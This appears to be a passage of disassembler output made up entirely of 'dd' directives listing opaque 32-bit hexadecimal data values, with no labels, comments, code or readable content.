dd 0A20433EDh, 4DB03047h, 5D9D1516h, 0FAB1C030h, 1EB6FEB9h
dd 6E8358D2h, 0D88114ECh, 30C14D3Fh, 56547FECh, 4C7A9BD8h
dd 0F12B2340h, 93080020h, 0F4B601E0h, 63AC1B56h, 658BA0h
dd 0FE0271B0h, 64DC07A7h, 0C4B6A86Bh, 0D2DCFCB7h, 2EA4C04h
dd 0BB8AC011h, 0C00344F8h, 0B76D3DEBh, 0E0F5E325h, 3222E8h
dd 9CB86CCBh, 0D81780F8h, 882038D3h, 5ACE5956h, 517C82D0h
dd 425B4040h, 0DA64848Ah, 3881401h, 12029E3h, 11D0FF0Ah
dd 0C4D2C76Fh, 0FC544CE4h, 0E4E40213h, 1201D5F4h, 9AECC585h
dd 11CCAED4h, 7E940EB7h, 5080800Dh, 464B198Ah, 8B995B14h
dd 0D0323A0h, 0D698F489h, 45DCA0B3h, 50C78262h, 870F3F80h
dd 8D5F0385h, 80A235Dh, 0CCBE5680h, 0B849CB0Bh, 0D872A9h
dd 3D9EFC8Ah, 0AA31963Bh, 0DB190B60h, 74CE79A9h, 0D9B701BEh
dd 0FB0A783Fh, 0A145F497h, 103A5226h, 0BC04D896h, 8709A734h
dd 6A009C44h, 0BF894EB3h, 25E95D01h, 50012AA7h, 73A67B50h
dd 28421084h, 8280CE04h, 0CF4909Ah, 52064BC1h, 7306875Bh
dd 49D617C0h, 0A0CC0890h, 0EB03E9A8h, 9BE6E19Ch, 0B0E8E857h
dd 301D4B06h, 4850D15Ch, 4DF014B8h, 70140A34h, 0FC725081h
dd 18451F00h, 38727341h, 0B73046F2h, 1F062CD0h, 3FBF6E74h
dd 0AC81DF3Eh, 6FF1DB4Dh, 0C0E02893h, 0CA01AD46h, 9B543080h
dd 0F8DAB988h, 24AD08A9h, 0DF63BB60h, 0B0F57D59h, 519745h
dd 1BD5F8BEh, 6075F724h, 4F915896h, 4EBA1E80h, 9C2D59h
dd 2069458h, 1E4C66BAh, 6E03F21h, 0F916C5D4h, 0E0496CFEh
dd 0DC445Bh, 395674FCh, 0E8412E8h, 4E70D92Dh, 2F474AE8h
dd 8A23A0h, 1075C14Ch, 0E63DBBF2h, 4BBA2D6Ah, 7F41A4D8h
dd 25083027h, 0B9D40568h, 994B0FE4h, 1E064095h, 3C48D74h
dd 157FD1DDh, 0B89FE64h, 1C22E4h, 0AE1F1BB2h, 500C8BC9h
dd 30E9D1CBh, 46991951h, 0F330C36Ah, 9D49C820h, 6250965Ah
dd 0F4E37D74h, 964360E1h, 0F4B4A981h, 0B46C01E5h, 617FF77Ah
dd 8D4EFC6Bh, 4A511F04h, 2092CA90h, 80E8D4A9h, 3B16B94Dh
dd 0B3A041Ch, 21DC83EFh, 9BEA2628h, 8A99D137h, 8C8E2C64h
dd 20134D04h, 14622F84h, 13553D20h, 0C17F04EDh, 0C07C933Eh
dd 0F6E13204h, 0E6315207h, 0F037D696h, 0EAE020EBh, 7A880B24h
dd 1210626h, 0E14F40A6h, 0E548E200h, 5F864AEAh, 0D8A203C6h
dd 75E983ADh, 87B208A0h, 0F8C81E2Ch, 10325D8Eh, 9106AA18h
dd 38003A0Bh, 1CCBE663h, 0E3632E4h, 3D4A4476h, 3E98CAC1h
dd 1C733FDCh, 84F82376h, 1E134F07h, 10623FA4h, 1357672Fh
dd 6B27BDE1h, 1DA58CF0h, 0C0B329EFh, 0C5B2F193h, 67004EF4h
dd 0CC55E423h, 980FE152h, 9ECB1C54h, 0E14957F6h, 0A2186300h
dd 4A5530CCh, 74DBDE1Dh, 267AACDCh, 0C90E988Bh, 8B8854C7h
dd 0C45AE3h, 7BB99646h, 0D9F3DC8Fh, 2AE6617h, 7537101h
dd 0C4764955h, 88A4640Ah, 134BC088h, 5F46841Ah, 3B020F22h
dd 5C241353h, 7806119h, 8ADA3201h, 0E05EAEECh, 1ACACC03h
dd 6422D25Dh, 2564684h, 0CAB6E155h, 105A316Fh, 98E14D77h
dd 5DB00B59h, 0F859C00Fh, 0C01A180Fh, 0F1AC9E1Bh, 608008Ah
dd 6B463035h, 501ECBD7h, 0F59F835Bh, 0CA871740h, 0AC49B1BAh
dd 101C7ABCh, 0E01D5950h, 1EBA0492h, 86A5E0h, 4AFBABD4h
dd 0AA482C88h, 0F090CCh, 0FFF0A52Bh, 2D23E3Bh, 0EDAAB5D6h
dd 68E0D4E2h, 9ED1A0h, 9964676h, 829A11DBh, 7C4F3E8h, 84E059BBh
dd 0A0B538C6h, 0E50F1914h, 0E65A804Dh, 0A4C5EC5Bh, 80DA3408h
dd 18C9BBA7h, 4B074A6Dh, 7CD1EDB2h, 0D28D26F0h, 1B8B3C7Dh
dd 4958E613h, 7465B980h, 2E60CDC4h, 5D13E976h, 4E050319h
dd 64B4C3CEh, 2F014236h, 8DACC827h, 50F50ACBh, 83FCD339h
dd 0F9B698CCh, 30963931h, 0C6114328h, 2B7C40CCh, 4B5A91Fh
dd 58A2B7F4h, 513059F2h, 0C4260161h, 0CEB8CA91h, 3A789EF8h
dd 0B0C46Fh, 3BBB2A9Ch, 606B1947h, 623A7203h, 98B48970h
dd 1D166971h, 17F626E2h, 82F4F4B9h, 0E209092h, 90AA3223h
dd 0BC67C050h, 0A7601744h, 7C382625h, 780E0083h, 2223697Fh
dd 0FD7102ABh, 0EA90CCE3h, 0E5106050h, 0D716B2DEh, 72C0D0AAh
dd 0D316E8CEh, 0E30A91EFh, 4C2ECC0Eh, 22CCB694h, 0F4583E63h
dd 3F929107h, 0BC359582h, 0DE247060h, 0B3843020h, 0BC0BD847h
dd 620008FAh, 5CE6F5A8h, 1E031D18h, 421E83BEh, 9A90CA55h
dd 4901D4D8h, 94E37F58h, 0C8507753h, 92B697B4h, 51460274h
dd 39794384h, 0A41D108Bh, 94805911h, 0D13CC897h, 840CAA2Ah
dd 2EEA8500h, 0FFA18D33h, 3F430356h, 0B5252A34h, 23AAC9B0h
dd 0BC6EB6F6h
dd 0C06231A0h, 6600FD8Eh, 5860C6F3h, 43067481h, 99C4549Dh
dd 6EC37DA3h, 0ECD085F5h, 0CFCB80ECh, 50FE6D1Ah, 26E4B816h
dd 744C4C45h, 0CE00C446h, 0E0DE31CAh, 6DF3E659h, 1EF040Ch
dd 0A8B4FE50h, 0A540997Ah, 5000A035h, 17E067CEh, 3290B820h
dd 4CB043D5h, 49E81B31h, 22054659h, 39109C3h, 88099EBAh
dd 831270C6h, 0C4D0E411h, 0C92B7Dh, 0BDA30602h, 9A583C5Ch
dd 88CABB00h, 0C7CB8203h, 1A490262h, 4C511C2Ch, 38004CDCh
dd 0F61DCFBFh, 0B0C01220h, 3A80520Ah, 9023B8h, 664481BBh
dd 600795A4h, 6E94860Eh, 0D960B2DBh, 18C379E0h, 4A402478h
dd 739204h, 6D9F591Ch, 3F58D0E9h, 0E3A80724h, 4D269D52h
dd 81501229h, 9A6CC8A5h, 78441B4Fh, 88803620h, 16344EAh
dd 0E6D73EE9h, 64DE94CCh, 48C8DE8h, 841F134Eh, 330CE37h
dd 0EB135640h, 2E6AB85Dh, 0EED0B45h, 0E400084Eh, 0A9B136FBh
dd 235D6E00h, 42983A33h, 80F80929h, 7CC6C67Bh, 1806BC81h
dd 58F4088Ch, 95C4BC1Bh, 0F48D6740h, 19097382h, 68200610h
dd 30E6D878h, 23D09C90h, 0EBFF927h, 7A50E47Ch, 3E10F8B3h
dd 0DF290002h, 0A94F597Eh, 21092C7h, 5CAE548h, 0B852589Dh
dd 494D080Ah, 44EFB08Bh, 38F40166h, 69C2F0A4h, 48821003h
dd 4301D986h, 407A35C7h, 1B2360A8h, 5300ABA7h, 0C50E846Bh
dd 8FFCAC9h, 0FD35C688h, 0A5172982h, 360CC854h, 0D4A252D8h
dd 49018223h, 4F841C13h, 39B04428h, 28021351h, 4C2CFD2Fh
dd 7D5061BBh, 52239033h, 8AE18438h, 5C624FCAh, 0E1497320h
dd 396F055h, 6045B2BBh, 1E008E27h, 51078AA0h, 14C0CEF6h
dd 80C26690h, 4BDC204Ah, 0EF2417BFh, 0FF080487h, 384D52F5h
dd 89D00360h, 0DF0400C9h, 76C132BEh, 0B8173444h, 6CA4DC72h
dd 81254435h, 7410E27h, 74D2D618h, 11AC9F8Ch, 2AF5800Dh
dd 231BF4Fh, 0FE535CD6h, 75779F0h, 7859D54h, 4823B43Fh
dd 5C73E07h, 0DDDEE353h, 840BE4F8h, 6986D7AAh, 4C94B99Dh
dd 1D11465Ch, 4E8E9AC8h, 89C480E3h, 5CBA9854h, 0DA84BCCAh
dd 8428211Ch, 0D5FCBD10h, 9B516707h, 1C00AA44h, 5AF9EF7Ah
dd 80C844B6h, 1090546Fh, 173C1312h, 0B70BB92h, 0F0A5820Ch
dd 0E230A23Ah, 0AFCA308Fh, 44484600h, 0FD658849h, 0C65B0A18h
dd 0A888414h, 8C4D6B0h, 1C647254h, 24E9A94Bh, 6F40D845h
dd 67F17B00h, 0A25C9A9Bh, 0BFD0714h, 43E22A4Bh, 0FCDDDE5Bh
dd 235105ACh, 0C4913E5Dh, 947736B4h, 3A06F601h, 60939E4Fh
dd 220AA1A7h, 1826325Dh, 49400B64h, 0E1F5CC55h, 8C8AB700h
dd 0FDA8457Dh, 2F601C9h, 610F22C5h, 0E8802A69h, 30168462h
dd 241057F1h, 0E62B88CEh, 72D8A48Bh, 35890074h, 0B00DCEB5h
dd 0D48008C0h, 94828291h, 60006B75h, 4B0F01B2h, 0E27C8051h
dd 18B361F3h, 62E170h, 0A33CCD21h, 0A9E54F5h, 28AE93Dh
dd 72596676h, 8068B5FFh, 29B6A74h, 500EBC9h, 3059B8BAh
dd 4CF22C50h, 7216C806h, 9EB491CAh, 0EACB0052h, 20D1621Ah
dd 7102D28Ah, 791C5112h, 739185Ah, 78840496h, 0C5F63119h
dd 0DEE03445h, 4896420h, 0AAD46283h, 0A0064F08h, 0C6A7908Ah
dd 3A313C76h, 0B5026C4Ch, 20961528h, 0E244C446h, 5C0094B9h
dd 7804D046h, 0C0213D88h, 1B4C02D0h, 0FF32451Bh, 0AD51B060h
dd 19D6324Dh, 0EC40BA10h, 11956D81h, 0C1143E8Ch, 1FD2AA0h
dd 0C9A45AAAh, 85811144h, 0DA09134Ah, 0E083157h, 13523C10h
dd 815A353Fh, 168258F3h, 412B6B1Dh, 6D20CAA8h, 6811F710h
dd 806FFDF8h, 6651DC85h, 949CB60Ch, 1CF465Ch, 0A9E46DCEh
dd 1C6029ADh, 4CF543FEh, 0D97B8050h, 4C6C7022h, 38103036h
dd 9DFB047Ah, 0F4D4A054h, 48BC44ACh, 0BE41018Ch, 0CE5B2702h
dd 25CC6C05h, 11F89764h, 0D257800Fh, 0BAC5145h, 0B21EDF11h
dd 8A91AC1Dh, 0C357AE80h, 2F7B44D2h, 4C7C113Bh, 70AC00A9h
dd 0DAB4FBBEh, 1890B940h, 5B03D131h, 9A744672h, 1CB14301h
dd 0CC2A1A4Bh, 9B8F9A8h, 48E3D820h, 0CF2AC48h, 10001948h
dd 0B9005101h, 34EA5DC0h, 41F8F6D9h, 3A44949h, 51465C9Fh
dd 0E281A89Ch, 0D6C5BC6h, 7C40F5F8h, 995904E4h, 0D0B91E82h
dd 7C58F64Ah, 6270D122h, 61E510B2h, 80B45207h, 0EC2780C4h
dd 25CCE14Ch, 0B4481690h, 6F0CA18h, 22646495h, 6F31118Eh
dd 9330489Bh, 0CA38F600h, 384A0130h, 5B2F80CCh, 305013F7h
dd 0E398CE28h, 108D654Fh, 0C665888h, 878C6A80h, 5E268204h
dd 0C9B41C55h, 64707836h, 67170EFCh, 6C0004EBh, 0C74C5284h
dd 0F9FC60CDh, 62C1F1F2h, 5072903Ah, 0DA043164h, 8975842h
dd 1351EE0Fh, 28B42705h, 0C23209BDh, 90022D9Ch, 541AE202h
dd 220586F0h, 597E31D2h, 65272098h, 452C105Eh, 44684D8h
dd 52F48A02h, 0B4598C1Bh, 0F4836160h, 85F0007Ch, 53736DD5h
dd 490105Ch, 275AB12h, 9EC4C802h, 5DF8C4DEh, 96F8BC62h
dd 5161F8E3h, 6497F40Eh, 0F2441C7h, 3020B5B1h, 38DE27E0h
dd 58790441h, 0A5865174h, 608CC4BCh, 54736EBh, 5B45F2B9h
dd 19A4049Fh, 5181324Eh, 1897F198h, 59341DFAh, 609354DEh
dd 2A485B3h, 70A2151Bh, 46FC8020h, 0F4486C8h, 938896DEh
dd 0A2E8C39Fh, 10D8ECDCh, 891264F1h, 36082C1Ch, 0C497F188h
dd 32C38A60h, 9E2CC45Eh, 6A0FD67Ch, 41BF5D34h, 0B7A90558h
dd 3670C1F2h, 3AF4122Ah, 24623D4h, 0BB5B8CD6h, 153EAC7Ah
dd 0FF8B0097h, 0EC07DA93h, 0A1A80288h, 0ED4632DCh, 86108B40h
dd 5C118D0Fh, 0BBCC024Eh, 5C2C7439h, 72008F46h, 185E48E2h
dd 0D9162D5Ch, 60A285D1h, 43125BA2h, 1070AA1Ch, 0DF447D7Ch
dd 26EF46FFh, 0D0E46053h, 0CA682057h, 0E75D2380h, 89750BA8h
dd 0AF8851A1h, 13422C90h, 4515AE00h, 17449154h, 57DC0404h
dd 0EB5A9D03h, 10825422h, 9C0F584Ah, 831820F8h, 87C7CBB6h
dd 50DD2834h, 81B546E0h, 0B8D02E3Fh, 70E6222Dh, 0F2BC00A7h
dd 144BA8FDh, 0AD7EFCBEh, 0F9908B54h, 3420A281h, 9EE38820h
dd 0F44081DCh, 15510467h, 0AF9B026Dh, 0E4FE919Dh, 804C8C81h
dd 831062DFh, 0D47698CAh, 0E796A0B4h, 6A883A0Ch, 3E367D26h
dd 6E801192h, 1923E01Fh, 42484F45h, 0C051884Ch, 0CA8BE152h
dd 0A0CB574Bh, 0E14A7400h, 737D4DD8h, 27D24512h, 0E2028CEDh
dd 0A2F5F765h, 0DC20D4h, 0C11EAC0Ah, 9A08F8B4h, 0D64D2008h
dd 96311CFDh, 0BED300E9h, 7B5091F7h, 4480D09Eh, 4261AB6Ah
dd 0A4AA4EF4h, 5D00B500h, 909E10A9h, 14B83B0h, 7C127787h
dd 82DDF478h, 39CECB49h, 11849DD7h, 1373875Ah, 511D91F1h
dd 6E5E1C76h, 61A5004Ch, 0A90E82E4h, 0B040BA41h, 70689725h
dd 84746E9Dh, 52C9E902h, 0EE5A9E4Eh, 5988B9E0h, 451812h
dd 3136DFF0h, 0D2814C7Ah, 0CDC4E0A7h, 0E2742560h, 0C90E8415h
dd 0C6E00B84h, 942443C8h, 24262CF9h, 0FC5292C4h, 360804Ch
dd 76D93E0h, 18A1025h, 695BE681h, 5878099Fh, 0E4515C4Ch
dd 641CC897h, 0AA8D2C00h, 79E03128h, 4C9700DDh, 0D5B46A46h
dd 19128A49h, 0A8E42506h, 4CFB07BDh, 0C3C0BAF1h, 90A001F5h
dd 20B7E012h, 43622C38h, 4017B5BAh, 0B8FCA11h, 6DC9D8A0h
dd 333A509Ch, 1ADE977Bh, 7EB8BC45h, 49D30F0h, 54829A16h
dd 0E2E881CCh, 0D13A01F5h, 4E4E88E0h, 78F6CBh, 0D48ACDC8h
dd 2A95E87h, 4D01E5EBh, 9677459Dh, 59493FC0h, 22AC1FACh
dd 0FC800140h, 24FD4BE4h
dd 0D3F6FC33h, 9118979Fh, 5BB380C3h, 0E78368DEh, 23F08C3Ah
dd 7C0BE500h, 0A8093DBEh, 0F4C700AEh, 64376EADh, 87122085h
dd 0E8B26151h, 0DC7A8E7h, 0A3859437h, 21098A8h, 90CC05FFh
dd 0A047F70Ah, 268264D3h, 0C71301F2h, 0B01C28CFh, 7E4B1C8Eh
dd 82C20919h, 0ACF02D16h, 88C46D02h, 0F0658026h, 0D6F494A8h
dd 0C8AAEF01h, 81D68299h, 23902F3Eh, 3250000Dh, 6FE7BAD2h
dd 901C90B7h, 0E3480704h, 50E8C7EFh, 95597E7Bh, 889E9C04h
dd 44EEE5EEh, 47FD31C4h, 6C3417F9h, 0BD102CD3h, 1F6A004h
dd 82FC2B07h, 0C4D67A75h, 72B1C200h, 6FAD5Bh, 8CB95A54h
dd 99A287E9h, 36455700h, 0B7DA77A3h, 0C91B4E05h, 2D0CF100h
dd 0B22C5390h, 0B64230CCh, 1C68E2Eh, 39E44700h, 0B46CC80h
dd 0FA2B3084h, 0FFF1843Bh, 0C7B207F8h, 2DF87234h, 60692305h
dd 587D40h, 0E72FBA1Eh, 5C942B7Dh, 5502AFBFh, 8807CA19h
dd 0CE44DC67h, 64E44060h, 457AC804h, 0B48A28C2h, 0C0081A07h
dd 0DE6AF7CBh, 0C01A208Bh, 0D6C438C0h, 1C05B213h, 82FC5031h
dd 99365BDCh, 0CA8405F0h, 1000A8D6h, 0B9095A11h, 0A43764B2h
dd 352C3300h, 8BCC827h, 0FD5A4D1Ah, 0AA4E2900h, 9B2E35Fh
dd 72A4E09Eh, 0A30018D0h, 0F00EB046h, 5CE35D1Eh, 0CA04C02Fh
dd 0EAF12EB8h, 7AB98440h, 946371EFh, 40DB44BCh, 7476B54h
dd 1CF5058Dh, 0C10EDD7Bh, 0C9EE90h, 4D36C6A3h, 642460A9h
dd 1502DC98h, 6A34FEB4h, 1A90E4B0h, 0B1FD451Fh, 4DCC056h
dd 23117E9h, 0BC4082BEh, 80804C7Ch, 1AAC1316h, 244704FDh
dd 0C651BD02h, 544668E0h, 0B1E15313h, 0C0F87284h, 75E14B71h
dd 171A1D70h, 1880EF69h, 0B11E8482h, 60F848F3h, 0CA9BE913h
dd 0F45D580Eh, 1D05120Ch, 0A95AC423h, 0D2109224h, 970CA929h
dd 38BB844Dh, 515A4465h, 0B130F6F4h, 24C01159h, 547D3027h
dd 9B8CC681h, 196048C2h, 45DCDE0Eh, 0ACF8A964h, 6D961D32h
dd 0EC57802Fh, 81AE037Fh, 1492894Ah, 7B02207Eh, 0E496F7DEh
dd 645F9508h, 0E4CB5779h, 42C089C8h, 0B9D0D2Ch, 3568A8Fh
dd 6CDDDC82h, 82205907h, 0B94FB926h, 248B90C0h, 0FB004CC0h
dd 0A09DFD1h, 5B44F053h, 0B950C02Ah, 6CF9205Dh, 8C5DBCE4h
dd 5873DC00h, 91D96484h, 0A78F1C14h, 35C685BCh, 9DFCAC4Ch
dd 4B3058EDh, 3138D040h, 5B4ED0E6h, 2F2AA889h, 0F1123ACh
dd 3500478Ah, 5E729A2Dh, 60CA3101h, 937BF751h, 0B4D94041h
dd 0C0641E02h, 0F835F4F9h, 4E2BF202h, 0F850E659h, 0EC90B584h
dd 32005241h, 53FD49EDh, 9A8B03h, 0CCE246AFh, 52B01E72h
dd 0AC7A050Ah, 0CA08F0D8h, 457309DAh, 0E49F785Ah, 0B51700B8h
dd 270AF970h, 0F32634BEh, 4A111CA2h, 8CC8DE2Fh, 11F4B698h
dd 0E3E9E21Fh, 0A0974082h, 0A51B40C0h, 30BA1755h, 2710B21Ch
dd 24DABBh, 6D792AC7h, 84EFA67Ch, 1662E904h, 54882D53h
dd 98CC88F7h, 0C8E87A2Dh, 82097288h, 0BD354C03h, 0A49B614Ah
dd 4F91A082h, 0B5DC10D5h, 0CB8B06Bh, 5947BE88h, 0A502459Ch
dd 4A1C2F73h, 0D3A484E0h, 0D9D87506h, 0FCC444h, 895C0C29h
dd 0CE032DADh, 0CFEE0200h, 5CDC796h, 0BDE20D48h, 7C316FA6h
dd 9E978B0h, 0CEC8A0EEh, 0A937B8h, 0D7B7FB1Ch, 57EA5D98h
dd 5CA2564Ah, 0B25B9D0Ch, 4CB8A649h, 52783AEAh, 0B9DF6A05h
dd 8083AC6Bh, 614025D8h, 463D6097h, 0E9211C00h, 1F6F330Ch
dd 61DB153Eh, 0C68FB4A0h, 25BB2C64h, 0FC20B337h, 361FF8FDh
dd 25AC6459h, 0DD0C11FFh, 30406910h, 0F9EF261Ch, 27221028h
dd 94A7FED8h, 18C52728h, 996245E4h, 20A11041h, 8388E05Ch
dd 9C6559EEh, 41841868h, 3368CE76h, 0AC0279BCh, 99414313h
dd 29F48517h, 97F8E0F8h, 31A5038Ch, 9DFCB953h, 0FC9030A2h
dd 18C8D0B6h, 484211FAh, 8C5BE870h, 4048AF6h, 41CA6530h
dd 84D69483h, 0C7C63105h, 0D17C3471h, 6AE42160h, 0FE4504D0h
dd 8B2B006Fh, 169D49B1h, 0AD015299h, 0B27C173Fh, 2C204B85h
dd 9C745142h, 0CABC547Ch, 0FE86008Ch, 0E6AEA931h, 44004D74h
dd 0E4D0CB70h, 548550C6h, 135598A1h, 0C22128Ah, 40706F41h
dd 7807E35Eh, 0E5D49054h, 4830C8F0h, 9A2218B4h, 0E932BD04h
dd 9C814D11h, 28939485h, 8480F99Dh, 0BB02D80Eh, 80FEB25Fh
dd 80842CF4h, 1E501E5h, 7C0E90CCh, 0C1A1424h, 0DD177E9Ch
dd 0D0F47A81h, 91209174h, 0F4B58007h, 0B1A41B55h, 8E66C0A8h
dd 0BA784CF4h, 0DA848B00h, 14AD0BBEh, 0FE173039h, 0DC6E90D9h
dd 0B7408CA4h, 493F8856h, 67041492h, 4E701245h, 6A9D37C0h
dd 0D0923298h, 4404A38h, 0DF5A6515h, 2C004DBh, 9B39B74Bh
dd 467CD4BCh, 4060F5Dh, 0C72000F3h, 303688E3h, 1E6901AAh
dd 0CC3AD4CEh, 0E68C8F0Ah, 0C0A8F637h, 1FF61210h, 25921519h
dd 0C0401CACh, 80D982DFh, 293A4504h, 0FE101414h, 0DBBB15F3h
dd 8AFF1F98h, 5DB3D340h, 540ADCBh, 0C7BA8D9Ch, 58FCC8B2h
dd 32798A40h, 4460DAACh, 9591F09Fh, 61C05C87h, 321B063Ch
dd 616A0290h, 0DDA72805h, 4D1B0898h, 60256628h, 0BA09520h
dd 12465C9Bh, 4914E424h, 9418E8DEh, 956E073Ch, 60FD0DCBh
dd 0DE3096E5h, 68F2A300h, 885B45B3h, 30555C52h, 0E08EE01Bh
dd 37016EE0h, 608C355Ah, 8365E34h, 50985FE8h, 80225620h
dd 9D4E2B1Bh, 8A01E86Eh, 93CD4970h, 14D06A40h, 0C7A751h
dd 6F863AC6h, 0AD4FB5C8h, 800E8700h, 0BE036CB4h, 8A0105EAh
dd 0CC9F24AAh, 7D03B064h, 7CC4B69Eh, 596FB97h, 0E82C018h
dd 60F4D121h, 34F6C2FEh, 10A85512h, 8C8CBCh, 375D3160h
dd 43151B04h, 74D0425Fh, 30CE45D2h, 8460982Ch, 0E609D7A9h
dd 0DBDF80D8h, 0D8CC78FCh, 3327635Ch, 0B78119F9h, 1ED1008Eh
dd 1396E95Dh, 401DD9Ah, 1023BDCh, 3F3ECE5Ch, 0EFAE7880h
dd 794F34CAh, 0FE610700h, 447820D4h, 0CE300437h, 0B5BCDFB0h
dd 8F68F5ECh, 41C66CD0h, 0EBC46474h, 0DA04D462h, 0B8666FF1h
dd 0AE8E2FA0h, 90C08130h, 0CC24FAA6h, 968CA46Dh, 0B07712DCh
dd 10C4088Ch, 70E4917Dh, 4FBBF0F8h, 19248CC8h, 807E7D27h
dd 0E2B0CC9Ch, 6559C2DEh, 64002476h, 94DCE1BBh, 0C33D16A4h
dd 0CC80C690h, 0E62F1528h, 0F1E01119h, 30905711h, 524A4DA9h
dd 0DE11DCC2h, 0FF0240A0h, 0E802BD78h, 2C3DACB7h, 2698E0DEh
dd 0EE096DDh, 135E34B8h, 84B8FCDAh, 2101A2C7h, 3A6B390Fh
dd 0A1581844h, 105E7909h, 1FD1F1E2h, 0A20FC63Dh, 66402C18h
dd 222F0535h, 0C65BDC0Bh, 71F80C94h, 0D419951Dh, 1471AC29h
dd 59216E09h, 0CA9B1008h, 8185C063h, 0C891ED0Eh, 54C2DE60h
dd 80268434h, 504004E0h, 9DF2D890h, 9CB2004Ah, 62A22EDBh
dd 0CBF47DBEh, 5BC5BB02h, 475909E6h, 600EC480h, 9C532h
dd 0ED5BFD3Dh, 70B9776Ah, 0C30CF0C9h, 0D721E7A4h, 304A6181h
dd 3007A3DEh, 0CEA29779h, 1E90822Fh, 84F704FDh, 200FCDBh
dd 9CC6D358h, 3FBCF3A8h, 0F161Dh, 0D1CB8253h, 5017E894h
dd 7033A27Ch, 0E054FA1Bh, 0BCAA9EC0h, 0D16180C0h, 9F5AA382h
dd 8185F09Ch, 708190D8h, 0AA05D46Ah, 98CC9030h, 1FDF40E2h
dd 34145D1Fh, 11C09D27h, 0BBB18046h, 37195Dh, 1694CBC0h
dd 3CEB284h, 8C9A9F7Bh, 9AEA5D07h, 0D7855143h, 0A5BA74C0h
dd 0D3F6262Ch, 5F011148h, 5CB564C8h, 8102108Dh, 8B08E6D6h
dd 4676707Eh, 6E5130Ah, 0ABC3C0C9h, 2951091Ch, 0E470E90Fh
dd 0B0C6D626h, 4084B040h
dd 0A384A8B6h, 419B0FC0h, 0C2248293h, 0D068880Ch, 0B448A067h
dd 6F451D10h, 0CE5912E1h, 5698B0CCh, 4A6CA31Fh, 106B0A8h
dd 1290CBADh, 94649C48h, 0EE38C8B7h, 0DB0B4340h, 0D22806A7h
dd 0CFC62570h, 0A5C030A2h, 36206C70h, 0C4695C3h, 59D19CB1h
dd 0BFA07E18h, 341262B0h, 0E004A3F3h, 411CA1DEh, 680E5FAEh
dd 25DC32ECh, 58607BB9h, 0BD05F348h, 0B7191682h, 0B952B803h
dd 0E153F9FBh, 0B6509187h, 0F98F8FC9h, 190C5486h, 0EB8E4B5h
dd 665142Ch, 0A8CE6144h, 6DA110C8h, 90365C05h, 2BE00262h
dd 0A068590Fh, 44F6AFCh, 0C190085Dh, 3C10542Fh, 0AD00F0BFh
dd 213544EBh, 731E7316h, 99BFE05h, 5265F2CDh, 0B100E45Ch
dd 68BC2AA0h, 58C2BDE1h, 5CD93459h, 68008418h, 0EDDC462Ah
dd 0B588042Bh, 0E47B2010h, 0A665AF00h, 0D2A74816h, 5D391350h
dd 846C9EF9h, 0EDF9CCh, 0EAEE831Ch, 0FE5C15C4h, 107C9C91h
dd 144DF11Eh, 8BCCEB40h, 439CD680h, 7BCAAE6Ah, 5918125Fh
dd 602D1498h, 31C8F941h, 0FE450C53h, 76606889h, 0E5F6AFF8h
dd 3B396F13h, 4B5CCA7h, 0E4EADD45h, 64635484h, 5AA21h
dd 834B6389h, 4E6CBC0Eh, 0F95AAE07h, 5F961395h, 671D2098h
dd 9196005h, 90212CAAh, 2024910Eh, 0F3CE5BC6h, 0B21D1270h
dd 780C6027h, 0B1178847h, 0AA5B1805h, 0F0B9A3B0h, 0D8350571h
dd 0EAE6F952h, 55546440h, 94B4A05Bh, 8445A794h, 886096E4h
dd 0AC949125h, 0B6567444h, 0D87FE060h, 31360B56h, 400B16D9h
dd 117934D9h, 2E3EBF18h, 24EBA7Fh, 90CA2332h, 0D3E8E876h
dd 7E502719h, 6E9DDC20h, 64B73EA0h, 8D4207FCh, 0E9334997h
dd 0EFCAC700h, 5813960Ch, 0CC0893B3h, 88BABE35h, 6024C7A7h
dd 805908B6h, 49F4CB8Eh, 0D42FCDBEh, 11481739h, 8BF98797h
dd 507C3602h, 0C1F05F50h, 2C5C80CCh, 8C8AF8DCh, 65C79C00h
dd 0AC461AD2h, 6E90256Ah, 0B4468862h, 2C4E4024h, 0F87D3787h
dd 49920540h, 5D5239E0h, 0E47CA904h, 90CC8C91h, 5F19283Fh
dd 0DBC01090h, 0D275177Ah, 0CED42106h, 2F3608FBh, 18BDA36Ah
dd 14BD0C07h, 1FE56740h, 61FB029Eh, 4B557A68h, 125BEC61h
dd 40405C11h, 19771D2Ch, 754D3903h, 0ED9C4CAh, 0C5675E26h
dd 0F4814AC7h, 0ACB8D55Ch, 8C10BC2Ch, 975E8209h, 0AC04C83Fh
dd 0FC50000Eh, 33BC4DC2h, 7A00B9EBh, 0F0745E84h, 0B2A19DDh
dd 0A4C6D893h, 5112ACDCh, 0F780F8ADh, 0C97B873Bh, 0FBBECF1Fh
dd 65589F00h, 2482861Fh, 74E049D1h, 8B179846h, 62CC30A4h
dd 0F2400AB0h, 4E4D167Bh, 0D168F906h, 27D4AC34h, 0A44508A4h
dd 14605BE4h, 0BEF260A1h, 554EEB01h, 8244FE59h, 9E4CC82Eh
dd 58CE224Eh, 0A6C059C8h, 48EA560Dh, 0BA3FE867h, 97B54C40h
dd 80CA91E0h, 40116CEDh, 0D84601E0h, 2A4CA88Bh, 10802216h
dd 35849B3Ah, 0DE98CF5Ch, 25B700A3h, 90531846h, 144EE4A0h
dd 47C1780h, 0F6F032C2h, 7C4AAA16h, 0D468B9h, 1B4557E0h
dd 0D4C82FE2h, 0A05B942Dh, 0F806A4Ch, 906CB6D3h, 21122B1h
dd 0EF7A875Ah, 0E05944C9h, 13D82208h, 0E0D0A4BBh, 92C31100h
dd 0C4816BFFh, 2C6A4CFEh, 0CF9C1C0h, 0AA0066D5h, 0C01D6017h
dd 78EEF14h, 67589A10h, 8AB091BFh, 87EA00C2h, 77E727CCh
dd 0D32578D1h, 0D8DF7160h, 230BDE7Bh, 0EFA2C0AAh, 929942D4h
dd 943681E0h, 0CF07448h, 0B809ED05h, 1BD0409Eh, 0E2E27527h
dd 0AE0C3028h, 0CE2284FCh, 0CA1513FBh, 0C4D8D00Ah, 0B0BA2339h
dd 0B3810405h, 9CF2208Ah, 64300FF2h, 0ECEC58DBh, 0DD22B809h
dd 0DBDD899h, 14882C0Ah, 0E9EBC0CEh, 0B5796AAh, 0E8C6DB4Ah
dd 810994D8h, 76492916h, 6074529Ch, 0BE984A61h, 3CE4003Ah
dd 0BA3414E3h, 0C84497h, 0D601FA39h, 6E053F9Ah, 78808A00h
dd 45911DFDh, 2254176Bh, 9ACF04Ah, 0DA4DCD3Dh, 95239C2Fh
dd 0EFAF000h, 4B1684F8h, 0D6A401D5h, 8B9480E6h, 0D622B0B8h
